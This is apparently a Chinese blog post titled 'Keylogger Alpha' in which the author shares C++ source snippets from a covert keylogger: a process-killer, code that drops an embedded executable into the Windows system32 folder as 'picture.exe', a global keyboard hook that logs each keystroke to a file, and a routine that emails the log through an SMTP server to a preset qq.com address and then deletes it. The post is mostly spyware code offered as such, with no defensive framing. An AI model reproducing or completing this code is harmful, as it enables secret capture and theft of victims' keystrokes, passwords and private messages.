键盘记录Alpha版
功能如下，运行后自动隐藏界面，然后记录键盘，每隔30分钟会向预先设定的邮箱发一封记录邮件，功能还不是很完善。我就不把程序放上来了，就贴几段源代码吧。
1.TerminateProcessByName //根据进程名称结束指定进程
void TerminateProcessByName(CString processName)
{
HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//--------------------------------------
//查询进程
//--------------------------------------
PROCESSENTRY32 processInfo;
CString strProcessName= "";
DWORD nProcessID=0;
HANDLE processHandle;
int nProcessTerminate=0;
processInfo.dwSize=sizeof(PROCESSENTRY32);
//获取第一个进程
BOOL status=Process32First(snapShot,&processInfo);
while(status)
{
//获取进程名字
strProcessName = processInfo.szExeFile;
//查询比较是否为要结束的进程
if(processName.CompareNoCase(strProcessName)==0)
{
//获取进程ID
nProcessID=processInfo.th32ProcessID;
processHandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, nProcessID );
if(processHandle==NULL)
{
return;
}
//结束一个进程
TerminateProcess(processHandle,0);
}
//获取下一个进程
status=Process32Next(snapShot,&processInfo);
}
}
2. 实现指定资源文件的拷贝 //这段代码解决了全局钩子必须使用动态链接库这个问题
HANDLE hFile = CreateFile(
"C:\\WINDOWS\\system32\\picture.exe",
GENERIC_WRITE,FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(141),"Exe");
LPCVOID lp=LockResource(LoadResource(NULL,hrsrc));
DWORD fileSize=SizeofResource(NULL,hrsrc);
WriteFile(hFile,lp,fileSize,&writeSize,NULL);
CloseHandle(hFile);
3.SendMyMail //发送邮件
BOOL _declspec(dllimport) WINAPI SendMail(
LPCSTR smtpserver,
LPCSTR user,
LPCSTR password,
LPCSTR mailfrom,
LPCSTR mailto,
LPCSTR subject,
LPCSTR msgbody
);
BOOL _declspec(dllimport) WINAPI GetSmtpError(LPSTR strerrmsg);
void SendMyMail()
{
FILE* f=fopen("C:\\WINDOWS\\system32\\logforkeyboard.db","a+");
char buffer[2002];
fread(buffer,sizeof(char),2000,f);
fclose(f);
char* stserver="smtp.163.com";
char* user="***********";
char* pwd="**********";
char* sender="***********";
char* receiver="********@qq.com";
char* title="The log for keyboard";
char* body=buffer;
SendMail(stserver,user,pwd,sender,receiver,title,body);
remove("C:\\WINDOWS\\system32\\logforkeyboard.db");
}
4.KeyboardProc //关键的函数，键盘记录
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if('U'==wParam&&(1==(lParam>>29 & 1)))
{
SendMessage(g_hWnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_hKeyboard);
}
if (lParam& 0x40000000)
{
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
else
{
char c=getKeyText(wParam);
WriteToDbFile(c);
}
return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}